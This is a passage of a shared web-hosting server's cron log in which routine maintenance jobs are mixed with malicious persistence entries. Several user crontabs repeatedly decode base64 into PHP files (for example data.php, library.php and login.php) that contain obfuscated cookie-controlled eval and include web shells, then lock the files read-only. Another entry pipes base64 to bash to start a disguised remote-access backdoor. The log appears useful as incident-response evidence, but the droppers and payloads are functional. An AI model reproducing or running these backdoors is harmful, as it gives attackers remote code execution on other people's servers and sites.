Apr 19 08:59:01 medusa CROND[31988]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:00:02 medusa CROND[23871]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[23892]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24039]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24100]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:00:02 medusa CROND[24101]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:00:02 medusa CROND[24103]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:00:02 medusa CROND[24105]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24107]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr 19 09:00:02 medusa CROND[24113]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:00:02 medusa CROND[24114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24115]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 09:00:02 medusa CROND[24117]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:00:02 medusa CROND[24116]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:00:02 medusa CROND[24118]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:00:02 medusa CROND[24119]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:00:02 medusa CROND[24120]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Apr 19 09:00:02 medusa CROND[24130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:00:02 medusa CROND[24131]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:00:02 medusa CROND[24132]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24133]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Apr 19 09:00:02 medusa CROND[24138]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:00:02 medusa CROND[24121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:00:02 medusa CROND[24143]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24144]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24149]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24150]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Apr 19 09:00:02 medusa CROND[24151]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 09:00:02 medusa CROND[24142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24153]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:00:02 medusa CROND[24141]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24135]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 09:00:02 medusa CROND[24148]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 09:00:02 medusa CROND[24162]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:00:02 medusa CROND[24163]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:00:02 medusa CROND[24164]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 09:00:02 medusa CROND[24160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 09:00:02 medusa CROND[24145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:00:02 medusa CROND[24178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:01:01 medusa CROND[16079]: (root) CMD (run-parts /etc/cron.hourly)
Apr 19 09:01:01 medusa CROND[16188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:01:01 medusa CROND[16191]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:01:01 medusa run-parts(/etc/cron.hourly)[16079]: starting 0anacron
Apr 19 09:01:01 medusa CROND[16214]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:01:01 medusa CROND[16215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:01:01 medusa CROND[16216]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:01:01 medusa CROND[16218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:01:01 medusa CROND[16219]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:01:01 medusa CROND[16220]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:01:01 medusa CROND[16225]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:01:01 medusa CROND[16226]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:01:01 medusa CROND[16229]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:01:01 medusa CROND[16236]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAg